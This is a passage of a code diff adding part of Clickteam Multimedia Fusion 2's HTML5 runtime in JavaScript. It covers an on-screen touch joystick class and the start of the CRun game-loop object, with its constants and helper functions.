+ this.joyBack = CImage.createFromFile(this.app, "joyback.png");
+ this.joyFront = CImage.createFromFile(this.app, "joyfront.png");
+ this.fire1U = CImage.createFromFile(this.app, "fire1U.png");
+ this.fire2U = CImage.createFromFile(this.app, "fire2U.png");
+ this.fire1D = CImage.createFromFile(this.app, "fire1D.png");
+ this.fire2D = CImage.createFromFile(this.app, "fire2D.png");
+ }
+ },
+ reset: function (f)
+ {
+ this.flags = f;
+ if (this.joyBack != null && this.joyBack.width != 0)
+ this.setPositions();
+ else
+ this.bSetPositions = true;
+
+ if (this.isJoystick)
+ this.joyanglezone = CJoystick.JOY_ANGLEGAP * Math.PI / 180;
+ else
+ this.joyanglezone = CJoystick.DPAD_ANGLEGAP * Math.PI / 180;
+ },
+ setPositions: function ()
+ {
+ var sx, sy;
+ sx = this.app.gaCxWin;
+ sy = this.app.gaCyWin;
+ if ((this.flags & CJoystick.JFLAG_LEFTHANDED) == 0)
+ {
+ if ((this.flags & CJoystick.JFLAG_JOYSTICK) != 0)
+ {
+ this.imagesX[CJoystick.KEY_JOYSTICK] = 16 + this.joyBack.width / 2;
+ this.imagesY[CJoystick.KEY_JOYSTICK] = sy - 16 - this.joyBack.height / 2;
+ }
+ if ((this.flags & CJoystick.JFLAG_FIRE1) != 0 && (this.flags & CJoystick.JFLAG_FIRE2) != 0)
+ {
+ this.imagesX[CJoystick.KEY_FIRE1] = sx - this.fire1U.width / 2 - 32;
+ this.imagesY[CJoystick.KEY_FIRE1] = sy - this.fire1U.height / 2 - 16;
+ this.imagesX[CJoystick.KEY_FIRE2] = sx - this.fire2U.width / 2 - 16;
+ this.imagesY[CJoystick.KEY_FIRE2] = sy - this.fire2U.height / 2 - this.fire1U.height - 24;
+ }
+ else if ((this.flags & CJoystick.JFLAG_FIRE1) != 0)
+ {
+ this.imagesX[CJoystick.KEY_FIRE1] = sx - this.fire1U.width / 2 - 16;
+ this.imagesY[CJoystick.KEY_FIRE1] = sy - this.fire1U.height / 2 - 16;
+ }
+ else if ((this.flags & CJoystick.JFLAG_FIRE2) != 0)
+ {
+ this.imagesX[CJoystick.KEY_FIRE2] = sx - this.fire2U.width / 2 - 16;
+ this.imagesY[CJoystick.KEY_FIRE2] = sy - this.fire2U.height / 2 - 16;
+ }
+ }
+ else
+ {
+ if ((this.flags & CJoystick.JFLAG_JOYSTICK) != 0)
+ {
+ this.imagesX[CJoystick.KEY_JOYSTICK] = sx - 16 - this.joyBack.width / 2;
+ this.imagesY[CJoystick.KEY_JOYSTICK] = sy - 16 - this.joyBack.height / 2;
+ }
+ if ((this.flags & CJoystick.JFLAG_FIRE1) != 0 && (this.flags & CJoystick.JFLAG_FIRE2) != 0)
+ {
+ this.imagesX[CJoystick.KEY_FIRE1] = this.fire1U.width / 2 + 16 + this.fire2U.width * 2 / 3;
+ this.imagesY[CJoystick.KEY_FIRE1] = sy - this.fire1U.height / 2 - 16;
+ this.imagesX[CJoystick.KEY_FIRE2] = this.fire2U.width / 2 + 16;
+ this.imagesY[CJoystick.KEY_FIRE2] = sy - this.fire2U.height / 2 - this.fire1U.height - 24;
+ }
+ else if ((this.flags & CJoystick.JFLAG_FIRE1) != 0)
+ {
+ this.imagesX[CJoystick.KEY_FIRE1] = this.fire1U.width / 2 + 16;
+ this.imagesY[CJoystick.KEY_FIRE1] = sy - this.fire1U.height / 2 - 16;
+ }
+ else if ((this.flags & CJoystick.JFLAG_FIRE2) != 0)
+ {
+ this.imagesX[CJoystick.KEY_FIRE2] = this.fire2U.width / 2 + 16;
+ this.imagesY[CJoystick.KEY_FIRE2] = sy - this.fire2U.height / 2 - 16;
+ }
+ }
+ },
+ setXPosition: function (f, p)
+ {
+ if ((f & CJoystick.JFLAG_JOYSTICK) != 0)
+ {
+ this.imagesX[CJoystick.KEY_JOYSTICK] = p;
+ }
+ else if ((f & CJoystick.JFLAG_FIRE1) != 0)
+ {
+ this.imagesX[CJoystick.KEY_FIRE1] = p;
+ }
+ else if ((f & CJoystick.JFLAG_FIRE2) != 0)
+ {
+ this.imagesX[CJoystick.KEY_FIRE2] = p;
+ }
+ },
+ setYPosition: function (f, p)
+ {
+ if ((f & CJoystick.JFLAG_JOYSTICK) != 0)
+ {
+ this.imagesY[CJoystick.KEY_JOYSTICK] = p;
+ }
+ else if ((f & CJoystick.JFLAG_FIRE1) != 0)
+ {
+ this.imagesY[CJoystick.KEY_FIRE1] = p;
+ }
+ else if ((f & CJoystick.JFLAG_FIRE2) != 0)
+ {
+ this.imagesY[CJoystick.KEY_FIRE2] = p;
+ }
+ },
+ draw: function (context)
+ {
+ if (this.bSetPositions)
+ {
+ this.bSetPositions = false;
+ this.setPositions();
+ }
+
+ var x, y, width, height;
+ if ((this.flags & CJoystick.JFLAG_JOYSTICK) != 0)
+ {
+ x = this.imagesX[CJoystick.KEY_JOYSTICK] - this.joyBack.width / 2;
+ y = this.imagesY[CJoystick.KEY_JOYSTICK] - this.joyBack.height / 2;
+ context.renderImage(this.joyBack, x, y, 0, 1, 1, 0, 0);
+ x = this.imagesX[CJoystick.KEY_JOYSTICK] + this.joystickX - this.joyFront.width / 2;
+ y = this.imagesY[CJoystick.KEY_JOYSTICK] + this.joystickY - this.joyFront.height / 2;
+ context.renderImage(this.joyFront, x, y, 0, 1, 1, 0, 0);
+ }
+ if ((this.flags & CJoystick.JFLAG_FIRE1) != 0)
+ {
+ var tex = ((this.joystick & 0x10) == 0) ? this.fire1U : this.fire1D;
+ x = this.imagesX[CJoystick.KEY_FIRE1] - tex.width / 2;
+ y = this.imagesY[CJoystick.KEY_FIRE1] - tex.height / 2;
+ context.renderImage(tex, x, y, 0, 1, 1, 0, 0);
+ }
+ if ((this.flags & CJoystick.JFLAG_FIRE2) != 0)
+ {
+ var tex = ((this.joystick & 0x20) == 0) ? this.fire2U : this.fire2D;
+ x = this.imagesX[CJoystick.KEY_FIRE2] - tex.width / 2;
+ y = this.imagesY[CJoystick.KEY_FIRE2] - tex.height / 2;
+ context.renderImage(tex, x, y, 0, 1, 1, 0, 0);
+ }
+ },
+
+ touchStarted: function (touch)
+ {
+ var bFlag = false;
+ var x = this.app.getTouchX(touch);
+ var y = this.app.getTouchY(touch);
+
+ this.joydeadzone = CJoystick.DEADZONE * Math.ceil(Math.sqrt(this.joyBack.width / 2 * this.joyBack.width / 2 + this.joyBack.height / 2 * this.joyBack.height / 2)); //Radius Size percentage
+ // Max circle radius for the joystick or d-pad
+ this.joyradsize = Math.ceil(Math.sqrt(this.joyBack.width / 4 * this.joyBack.width / 4 + this.joyBack.height / 4 * this.joyBack.height / 4));
+
+ var key = this.getKey(x, y);
+ if (key != CJoystick.KEY_NONE)
+ {
+ this.touches[key] = touch.identifier;
+ if (key == CJoystick.KEY_JOYSTICK)
+ {
+ this.joystick &= 0xF0;
+ bFlag = true;
+ }
+ if (key == CJoystick.KEY_FIRE1)
+ {
+ this.joystick |= 0x10;
+ bFlag = true;
+ }
+ else if (key == CJoystick.KEY_FIRE2)
+ {
+ this.joystick |= 0x20;
+ bFlag = true;
+ }
+ }
+ return bFlag;
+ },
+
+ touchMoved: function (touch)
+ {
+ var x = this.app.getTouchX(touch);
+ var y = this.app.getTouchY(touch);
+ var key = this.getKey(x, y);
+ if (key == CJoystick.KEY_JOYSTICK && touch.identifier == this.touches[CJoystick.KEY_JOYSTICK])
+ {
+ this.joystickX = x - this.imagesX[CJoystick.KEY_JOYSTICK];
+ this.joystickY = y - this.imagesY[CJoystick.KEY_JOYSTICK];
+
+ // angles ranges from 0 to 360 degrees in radians
+ var angle = (Math.PI * 2 - Math.atan2(this.joystickY, this.joystickX)) % (Math.PI * 2);
+ this.joystick &= 0xF0;
+ var h = Math.sqrt(this.joystickX * this.joystickX + this.joystickY * this.joystickY);
+
+ if (this.isJoystick)
+ {
+ this.joystickX = Math.cos(angle) * this.joyradsize;
+ this.joystickY = Math.sin(angle) * -this.joyradsize;
+ }
+ else
+ {
+ if (this.joystickX < -this.joyradsize)
+ {
+ this.joystickX = -this.joyradsize;
+ }
+ if (this.joystickX > this.joyradsize)
+ {
+ this.joystickX = this.joyradsize;
+ }
+ if (this.joystickY < -this.joyradsize)
+ {
+ this.joystickY = -this.joyradsize;
+ }
+ if (this.joystickY > this.joyradsize)
+ {
+ this.joystickY = this.joyradsize;
+ }
+ }
+
+ // Is the radius vector above the deadzone and border of the joystick base
+ if (h > this.joydeadzone && h < this.joyradsize * 3)
+ {
+
+ var j = 0;
+ // Checking in 45 degrees zone equal (PI/4); 1/4, 2/4, 3/4, 4/4, 5/4, 6/4, 7/4, 8/4
+ // organized like 8/4, 2/4, 4/4, 6/4, priority for right, up, left and down
+ if (angle >= 0.0)
+ {
+ while (true)
+ {
+ // Right
+ if (this.insideZone(angle, 0, this.joyanglezone) || this.insideZone(angle, (Math.PI) * 2, this.joyanglezone))
+ {
+ j = 8;
+ break;
+ }
+ // Up
+ if (this.insideZone(angle, Math.PI / 2, this.joyanglezone))
+ {
+ j = 1;
+ break;
+ }
+ // Left
+ if (this.insideZone(angle, (Math.PI), this.joyanglezone))
+ {
+ j = 4;
+ break;
+ }
+ // Down
+ if (this.insideZone(angle, (Math.PI / 4) * 6, this.joyanglezone))
+ {
+ j = 2;
+ break;
+ }
+ // Right/Up
+ if (this.insideZone(angle, Math.PI / 4, Math.PI / 2 - this.joyanglezone))
+ {
+ j = 9;
+ break;
+ }
+ // Left/Up
+ if (this.insideZone(angle, (Math.PI / 4) * 3, Math.PI / 2 - this.joyanglezone))
+ {
+ j = 5;
+ break;
+ }
+ // Left/Down
+ if (this.insideZone(angle, (Math.PI / 4) * 5, Math.PI / 2 - this.joyanglezone))
+ {
+ j = 6;
+ break;
+ }
+ // Right/Down
+ if (this.insideZone(angle, (Math.PI / 4) * 7, Math.PI / 2 - this.joyanglezone))
+ {
+ j = 10;
+ break;
+ }
+ break;
+ }
+ }
+ this.joystick |= j;
+ }
+ }
+ },
+ insideZone: function (angle, angle_ref, gap)
+ {
+ // check if the angle is in the range, could be ported using degrees instead.
+ return (angle > (angle_ref - gap / 2) && angle < (angle_ref + gap / 2));
+ },
+
+ touchEnded: function (touch)
+ {
+ var n;
+ for (n = 0; n < CJoystick.MAX_TOUCHES; n++)
+ {
+ if (this.touches[n] == touch.identifier)
+ {
+ this.touches[n] = 0;
+ switch (n)
+ {
+ case CJoystick.KEY_JOYSTICK:
+ this.joystickX = 0;
+ this.joystickY = 0;
+ this.joystick &= 0xF0;
+ break;
+ case CJoystick.KEY_FIRE1:
+ this.joystick &= ~0x10;
+ break;
+ case CJoystick.KEY_FIRE2:
+ this.joystick &= ~0x20;
+ break;
+ }
+ break;
+ }
+ }
+ },
+ getKey: function (x, y)
+ {
+ if ((this.flags & CJoystick.JFLAG_JOYSTICK) != 0)
+ {
+ if (x >= this.imagesX[CJoystick.KEY_JOYSTICK] - this.joyBack.width / 2 && x < this.imagesX[CJoystick.KEY_JOYSTICK] + this.joyBack.width / 2)
+ {
+ if (y > this.imagesY[CJoystick.KEY_JOYSTICK] - this.joyBack.height / 2 && y < this.imagesY[CJoystick.KEY_JOYSTICK] + this.joyBack.height / 2)
+ {
+ return CJoystick.KEY_JOYSTICK;
+ }
+ }
+ }
+ if ((this.flags & CJoystick.JFLAG_FIRE1) != 0)
+ {
+ if (x >= this.imagesX[CJoystick.KEY_FIRE1] - this.fire1U.width / 2 && x < this.imagesX[CJoystick.KEY_FIRE1] + this.fire1U.width / 2)
+ {
+ if (y > this.imagesY[CJoystick.KEY_FIRE1] - this.fire1U.height / 2 && y < this.imagesY[CJoystick.KEY_FIRE1] + this.fire1U.height / 2)
+ {
+ return CJoystick.KEY_FIRE1;
+ }
+ }
+ }
+ if ((this.flags & CJoystick.JFLAG_FIRE2) != 0)
+ {
+ if (x >= this.imagesX[CJoystick.KEY_FIRE2] - this.fire2U.width / 2 && x < this.imagesX[CJoystick.KEY_FIRE2] + this.fire2U.width / 2)
+ {
+ if (y > this.imagesY[CJoystick.KEY_FIRE2] - this.fire2U.height / 2 && y < this.imagesY[CJoystick.KEY_FIRE2] + this.fire2U.height / 2)
+ {
+ return CJoystick.KEY_FIRE2;
+ }
+ }
+ }
+ return CJoystick.KEY_NONE;
+ },
+
+ getJoystick: function ()
+ {
+ return this.joystick;
+ }
+ }
+ // CRun Object
+ // -----------------------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+
+ CRun.GAMEFLAGS_VBLINDEP = 0x0002;
+ CRun.GAMEFLAGS_LIMITEDSCROLL = 0x0004;
+ CRun.GAMEFLAGS_FIRSTLOOPFADEIN = 0x0010;
+ CRun.GAMEFLAGS_LOADONCALL = 0x0020;
+ CRun.GAMEFLAGS_REALGAME = 0x0040;
+ CRun.GAMEFLAGS_PLAY = 0x0080;
+ CRun.GAMEFLAGS_INITIALISING = 0x0200;
+ CRun.DLF_DONTUPDATE = 0x0002;
+ CRun.DLF_DRAWOBJECTS = 0x0004;
+ CRun.DLF_RESTARTLEVEL = 0x0008;
+ CRun.DLF_DONTUPDATECOLMASK = 0x0010;
+ CRun.DLF_COLMASKCLIPPED = 0x0020;
+ CRun.DLF_SKIPLAYER0 = 0x0040;
+ CRun.DLF_REDRAWLAYER = 0x0080;
+ CRun.DLF_STARTLEVEL = 0x0100;
+ CRun.GAME_XBORDER = 480;
+ CRun.GAME_YBORDER = 300;
+ CRun.COLMASK_XMARGIN = 64;
+ CRun.COLMASK_YMARGIN = 16;
+ CRun.WRAP_X = 1;
+ CRun.WRAP_Y = 2;
+ CRun.WRAP_XY = 4;
+ CRun.RH3SCROLLING_SCROLL = 0x0001;
+ CRun.RH3SCROLLING_REDRAWLAYERS = 0x0002;
+ CRun.RH3SCROLLING_REDRAWALL = 0x0004;
+ CRun.RH3SCROLLING_REDRAWTOTALCOLMASK = 0x0008;
+ CRun.OBSTACLE_NONE = 0;
+ CRun.OBSTACLE_SOLID = 1;
+ CRun.OBSTACLE_PLATFORM = 2;
+ CRun.OBSTACLE_LADDER = 3;
+ CRun.OBSTACLE_TRANSPARENT = 4;
+ CRun.COF_NOMOVEMENT = 0x0001;
+ CRun.COF_HIDDEN = 0x0002;
+ CRun.COF_FIRSTTEXT = 0x0004;
+ CRun.COF_CREATEDATSTART = 0x0008;
+ CRun.MAX_FRAMERATE = 10;
+ CRun.LOOPEXIT_NEXTLEVEL = 1;
+ CRun.LOOPEXIT_PREVLEVEL = 2;
+ CRun.LOOPEXIT_GOTOLEVEL = 3;
+ CRun.LOOPEXIT_NEWGAME = 4;
+ CRun.LOOPEXIT_PAUSEGAME = 5;
+ CRun.LOOPEXIT_SAVEAPPLICATION = 6;
+ CRun.LOOPEXIT_LOADAPPLICATION = 7;
+ CRun.LOOPEXIT_SAVEFRAME = 8;
+ CRun.LOOPEXIT_LOADFRAME = 9;
+ CRun.LOOPEXIT_ENDGAME = -2;
+ CRun.LOOPEXIT_QUIT = 100;
+ CRun.LOOPEXIT_RESTART = 101;
+ CRun.BORDER_LEFT = 1;
+ CRun.BORDER_RIGHT = 2;
+ CRun.BORDER_TOP = 4;
+ CRun.BORDER_BOTTOM = 8;
+ CRun.BORDER_ALL = 15;
+ CRun.MAX_INTERMEDIATERESULTS = 128;
+ CRun.INTBAD = 0x7FFFFFFF;
+ CRun.FANIDENTIFIER = 0x42324641;
+ CRun.TREADMILLIDENTIFIER = 0x4232544D;
+ CRun.PARTICULESIDENTIFIER = 0x42326AF3;
+ CRun.MAGNETIDENTIFIER = 0x42369856;
+ CRun.ROPEANDCHAINIDENTIFIER = 0x4232EFFA;
+ CRun.BASEIDENTIFIER = 0x42324547;
+ var bAlerted = false;
+
+ CRun.plMasks =
+ [
+ 0x00, 0x00, 0x00, 0x00,
+ 0xFF, 0x00, 0x00, 0x00,
+ 0xFF, 0xFF, 0x00, 0x00,
+ 0xFF, 0xFF, 0xFF, 0x00,
+ 0xFF, 0xFF, 0xFF, 0xFF
+ ];
+ CRun.Table_InOut =
+ [
+ 0,
+ CRun.BORDER_LEFT,
+ CRun.BORDER_RIGHT,
+ 0,
+ CRun.BORDER_TOP,
+ CRun.BORDER_TOP + CRun.BORDER_LEFT,
+ CRun.BORDER_TOP + CRun.BORDER_RIGHT,
+ 0,
+ CRun.BORDER_BOTTOM,
+ CRun.BORDER_BOTTOM + CRun.BORDER_LEFT,
+ CRun.BORDER_BOTTOM + CRun.BORDER_RIGHT,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0
+ ];
+ CRun.bMoveChanged = false;
+
+ CRun.compareTo = function (pValue1, pValue2, comp)
+ {
+ switch (comp)
+ {
+ case 0: // COMPARE_EQ:
+ return pValue1 == pValue2;
+ case 1: // COMPARE_NE:
+ return pValue1 != pValue2;
+ case 2: // COMPARE_LE:
+ return pValue1 <= pValue2;
+ case 3: // COMPARE_LT:
+ return pValue1 < pValue2;
+ case 4: // COMPARE_GE:
+ return pValue1 >= pValue2;
+ case 5: // COMPARE_GT:
+ return pValue1 > pValue2;
+ }
+ return false;
+ }
+
+ CRun.compareTer = function (value1, value2, comparaison)
+ {
+ switch (comparaison)
+ {
+ case 0: // COMPARE_EQ:
+ return (value1 == value2);
+ case 1: // COMPARE_NE:
+ return (value1 != value2);
+ case 2: // COMPARE_LE:
+ return (value1 <= value2);
+ case 3: // COMPARE_LT:
+ return (value1 < value2);
+ case 4: // COMPARE_GE:
+ return (value1 >= value2);
+ case 5: // COMPARE_GT:
+ return (value1 > value2);
+ }
+ return false;
+ }
+
+ function CRun(app)
+ {
+ this.rhApp = app;
+ this.rhFrame = null;
+ this.rhMaxOI = 0;
+ this.rhStopFlag = 0;
+ this.rhEvFlag = 0;
+ this.rhNPlayers = 0;
+ this.rhGameFlags = 0;
+ this.rhPlayer = 0;
+ this.rhQuit = 0;
+ this.rhQuitBis = 0;
+ this.rhReturn = 0;
+ this.rhQuitParam = 0;
+ this.rhNObjects = 0;
+ this.rhMaxObjects = 0;
+ this.rhOiList = null;
+ this.rhEvtProg = null;
+ this.rhLevelSx = 0;
+ this.rhLevelSy = 0;
+ this.rhWindowX = 0;
+ this.rhWindowY = 0;
+ this.rhVBLDeltaOld = 0;
+ this.rhVBLObjet = 0;
+ this.rhVBLOld = 0;
+ this.rhMT_VBLStep = 0;
+ this.rhMT_VBLCount = 0;
+ this.rhMT_MoveStep = 0;
+ this.rhLoopCount = 0;
+ this.rhTimer = 0;
+ this.rhTimerOld = 0;
+ this.rhTimerDelta = 0;
+ this.rhOiListPtr = 0;
+ this.rhObListNext = 0;
+ this.rhDestroyPos = 0;
+ this.rhMouseUsed = 0;
+ this.rh2OldPlayer = null;
+ this.rh2NewPlayer = null;
+ this.rh2InputMask = null;
+ this.rh2MouseKeys = 0;
+ this.rh2CreationCount = 0;
+ this.rh2MouseX = 0;
+ this.rh2MouseY = 0;
+ this.rh2MouseSaveX = 0;
+ this.rh2MouseSaveY = 0;
+ this.rh2PauseCompteur = 0;
+ this.rh2PauseTimer = 0;
+ this.rh2PauseVbl = 0;
+ this.rh3DisplayX = 0;
+ this.rh3DisplayY = 0;
+ this.rh3WindowSx = 0;
+ this.rh3WindowSy = 0;
+ this.rh3CollisionCount = 0;
+ this.rh3Scrolling = 0;
+ this.rh3XMinimum = 0;
+ this.rh3YMinimum = 0;
+ this.rh3XMaximum = 0;
+ this.rh3YMaximum = 0;
+ this.rh3XMinimumKill = 0;
+ this.rh3YMinimumKill = 0;
+ this.rh3XMaximumKill = 0;
+ this.rh3YMaximumKill = 0;
+ this.rh3Graine = 0;
+ this.rh4DemoMode = 0;
+ // this.rh4Demo=null;
+ this.rh4PauseKey = 0;
+ this.rh4CurrentFastLoop = null;
+ this.rh4EndOfPause = 0;
+ this.rh4MouseWheelDelta = 0;
+ this.rh4OnMouseWheel = 0;
+ this.rh4FastLoops = null;
+ this.rh4ExpValue1 = 0;
+ this.rh4ExpValue2 = 0;
+ this.rh4KpxReturn = 0;
+ this.rh4ObjectCurCreate = 0;
+ this.rh4ObjectAddCreate = 0;
+ this.rh4DoUpdate = 0;
+ this.rh4VBLDelta = 0;
+ this.rh4LoopTheoric = 0;
+ this.rh4EventCount = 0;
+ this.rh4BackDrawRoutines = null;
+ this.rh4WindowDeltaX = 0;
+ this.rh4WindowDeltaY = 0;
+ this.rh4TimeOut = 0;
+ this.rh4TabCounter = 0;
+ this.rh4PosPile = 0;
+ this.rh4Results = null;
+ this.rh4Operators = null;
+ this.rh4OpeNull = null;
+ this.rh4CurToken = 0;
+ this.rh4Tokens = null;
+ this.rh4FrameRateArray = null;
+ this.rh4FrameRatePos = 0;
+ this.rh4FrameRatePrevious = 0;
+ this.rhDestroyList = null;
+ this.rh4SaveFrame = 0;
+ this.rh4SaveFrameCount = 0;
+ this.rh4MvtTimerCoef = 0;
+ this.questionObjectOn = null;
+ this.bOperande = false;
+ this.rhWheelCount = 0;
+ this.rhObjectList = null;
+ this.currentTabObject = null;
+ this.buttonClickCount = -1;
+ this.isColArray = new Array(2);
+ this.flagFloat = false;
+ this.fadeTimerDelta = 0;
+ this.rhJoystickMask = 0xFF;
+ this.noResume = false;
+ this.quitPause = false;
+ }
+ CRun.getObjectFont = function (hoPtr)
+ {
+ var info = null;
+
+ if (hoPtr.hoType >= COI.KPX_BASE)
+ {
+ info = hoPtr.ext.getRunObjectFont();
+ }
+ else
+ {
+ info = hoPtr.getFont();
+ }
+ if (info == null)
+ {
+ info = new CFontInfo();
+ }
+ return info;
+ }
+ CRun.setObjectFont = function (hoPtr, pLf, pNewSize)
+ {
+ if (hoPtr.hoType >= COI.KPX_BASE)
+ {
+ hoPtr.ext.setRunObjectFont(pLf, pNewSize);
+ }
+ else
+ {
+ hoPtr.setFont(pLf, pNewSize);
+ }
+ }
+ CRun.getObjectTextColor = function (hoPtr)
+ {
+ if (hoPtr.hoType >= COI.KPX_BASE)
+ {
+ return hoPtr.ext.getRunObjectTextColor();
+ }
+ return hoPtr.getFontColor();
+ }
+ CRun.setObjectTextColor = function (hoPtr, rgb)
+ {
+ if (hoPtr.hoType >= COI.KPX_BASE)
+ {
+ hoPtr.ext.setRunObjectTextColor(rgb);
+ }
+ else
+ {
+ hoPtr.setFontColor(rgb);
+ }
+ }
+ CRun.objectShow = function (pHo)
+ {
+ if (pHo.ros != null)
+ {
+ pHo.ros.obShow();
+ pHo.ros.rsFlags |= CRSpr.RSFLAG_VISIBLE;
+ pHo.ros.rsFlash = 0;
+ }
+ }
+ CRun.objectHide = function (pHo)
+ {
+ if (pHo.ros != null)
+ {
+ pHo.ros.obHide();
+ pHo.ros.rsFlags &= ~CRSpr.RSFLAG_VISIBLE;
+ pHo.ros.rsFlash = 0;
+ }
+ }
+ CRun.setXPosition = function (hoPtr, x)
+ {
+ if (hoPtr.rom != null)
+ {
+ hoPtr.rom.rmMovement.setXPosition(x);
+ }
+ else
+ {
+ if (hoPtr.hoX != x)
+ {
+ hoPtr.hoX = x;
+ if (hoPtr.roc != null)
+ {
+ hoPtr.roc.rcChanged = true;
+ hoPtr.roc.rcCheckCollides = true;
+ }
+ }
+ }
+ }
+ CRun.setYPosition = function (hoPtr, y)
+ {
+ if (hoPtr.rom != null)
+ {
+ hoPtr.rom.rmMovement.setYPosition(y);
+ }
+ else
+ {
+ if (hoPtr.hoY != y)
+ {
+ hoPtr.hoY = y;
+ if (hoPtr.roc != null)
+ {
+ hoPtr.roc.rcChanged = true;
+ hoPtr.roc.rcCheckCollides = true;
+ }
+ }
+ }
+ }
+ CRun.get_DirFromPente = function (x, y)
+ {
+ if (x == 0)
+ {
+ if (y >= 0) return 24;
+ return 8;
+ }
+ if (y == 0)
+ {
+ if (x >= 0) return 0;
+ return 16;
+ }
+
+ var dir;
+ var flagX = false;
+ var flagY = false;
+ if (x < 0)
+ {
+ flagX = true;
+ x = -x;
+ }
+ if (y < 0)
+ {
+ flagY = true;
+ y = -y;
+ }
+
+ var d = (x * 256) / y;
+ var index;
+ for (index = 0; ; index += 2)
+ {
+ if (d >= CMove.CosSurSin32[index])
+ break;
+ }
+ dir = CMove.CosSurSin32[index + 1];
+
+ if (flagY)
+ {
+ dir = -dir + 32;
+ dir &= 31;
+ }
+ if (flagX)
+ {
+ dir -= 8;
+ dir &= 31;
+ dir = -dir;
+ dir &= 31;
+ dir += 8;
+ dir &= 31;
+ }
+ return dir;
+ }
+
+
+ CRun.prototype =
+ {
+ setFrame: function (f)
+ {
+ this.rhFrame = f;
+ },
+ allocRunHeader: function ()
+ {
+ this.rhObjectList = new Array(this.rhFrame.maxObjects);
+ this.rhEvtProg = this.rhFrame.evtProg;
+
+ this.rhMaxOI = 0;
+ var oi;
+ for (oi = this.rhApp.OIList.getFirstOI(); oi != null; oi = this.rhApp.OIList.getNextOI())
+ {
+ if (oi.oiType >= COI.OBJ_SPR)
+ {
+ this.rhMaxOI++;
+ }
+ }
+
+ if (this.rhFrame.m_wRandomSeed == -1)
+ {
+ this.rh3Graine = this.rhApp.timer & 0xFFFF;
+ }
+ else
+ {
+ this.rh3Graine = this.rhFrame.m_wRandomSeed;
+ }
+
+ var no = Math.round(this.rhFrame.maxObjects / 32 + 1);
+ this.rhDestroyList = new Array(no);
+
+ this.rh4FastLoops = new CArrayList();
+ this.rh4CurrentFastLoop = "";
+
+ this.rhMaxObjects = this.rhFrame.maxObjects;
+
+ this.rhNPlayers = this.rhEvtProg.nPlayers;
+ this.rhFrame.leX = 0;
+ this.rhFrame.leY = 0;
+ this.rhWindowX = this.rhFrame.leX;
+ this.rhWindowY = this.rhFrame.leY;
+ this.rh4WindowDeltaX = 0;
+ this.rh4WindowDeltaY = 0;
+ this.rhLevelSx = this.rhFrame.leVirtualRect.right;
+ if (this.rhLevelSx == -1)
+ this.rhLevelSx = 0x7FFFF000;
+ this.rhLevelSy = this.rhFrame.leVirtualRect.bottom;
+ if (this.rhLevelSy == -1)
+ this.rhLevelSy = 0x7FFFF000;
+ this.rhNObjects = 0;
+ this.rhStopFlag = 0;
+ this.rhQuit = 0;
+ this.rhQuitBis = 0;
+ this.rhGameFlags &= (CRun.GAMEFLAGS_PLAY);
+ this.rhGameFlags |= CRun.GAMEFLAGS_LIMITEDSCROLL;
+ this.rh4FrameRatePos = 0;
+ this.rh4FrameRatePrevious = 0;
+ this.rh4FrameRateArray = new Array(CRun.MAX_FRAMERATE);
+ this.rh4BackDrawRoutines = null;
+ this.rh4SaveFrame = 0;
+ this.rh4SaveFrameCount = -3;
+ this.rhWheelCount = -1;
+ this.rh4PosOnLoop = null;
+
+ this.rhGameFlags |= CRun.GAMEFLAGS_REALGAME;
+
+ this.rh4Results = new Array(CRun.MAX_INTERMEDIATERESULTS);
+ this.rh4Operators = new Array(CRun.MAX_INTERMEDIATERESULTS);
+ this.rh4OpeNull = new EXP_ZERO();
+ this.rh4OpeNull.code = 0;
+
+ this.rh2OldPlayer = new Array(4);
+ this.rh2NewPlayer = new Array(4);
+ this.rh2InputMask = new Array(4);
+ this.rhPlayer = new Array(4);
+ // this.rhEvtProg.rh2CurrentClick = -1;
+ this.rh4MvtTimerCoef = 0;
+
+ var n;
+ for (n = 0; n < CRun.MAX_FRAMERATE; n++)
+ this.rh4FrameRateArray[n] = 50;
+ this.quitPause = false;
+ this.bodiesCreated = false;
+ this.rhFrame.rhOK = true;
+ },
+
+ freeRunHeader: function ()
+ {
+ this.rhFrame.rhOK = false;
+
+ this.rhObjectList = null;
+ this.rhOiList = null;
+ this.rhDestroyList = null;
+ this.rh4CurrentFastLoop = null;
+ this.rh4FastLoops = null;
+ this.rh4BackDrawRoutines = null;
+ this.rh4PosOnLoop = null;
+
+ var n;
+ for (n = 0; n < CRun.MAX_INTERMEDIATERESULTS; n++)
+ this.rh4Results[n] = 0;
+ this.rh4OpeNull = null;
+ },
+
+ initRunLoop: function (bFade)
+ {
+ this.allocRunHeader();
+
+ this.rhApp.joystickOn = 0;
+ if (this.rhApp.parentApp == null)
+ {
+ if (this.rhApp.touchable)
+ {
+ if (this.rhFrame.joystick == CRunFrame.JOYSTICK_EXT)
+ {
+ if (this.rhApp.joystick == null)
+ {
+ this.rhApp.joystick = new CJoystick(this.rhApp);
+ this.rhApp.joystick.loadImages();
+ }
+ this.rhApp.joystick.reset(0);
+ this.rhApp.startJoystick();
+ }
+ else if (this.rhFrame.joystick != CRunFrame.JOYSTICK_NONE)
+ {
+ var flags = 0;
+ if ((this.rhFrame.html5Options & CRunFrame.IPHONEOPT_JOYSTICK_FIRE1) != 0)
+ {
+ flags = CJoystick.JFLAG_FIRE1;
+ }
+ if ((this.rhFrame.html5Options & CRunFrame.IPHONEOPT_JOYSTICK_FIRE2) != 0)
+ {
+ flags |= CJoystick.JFLAG_FIRE2;
+ }
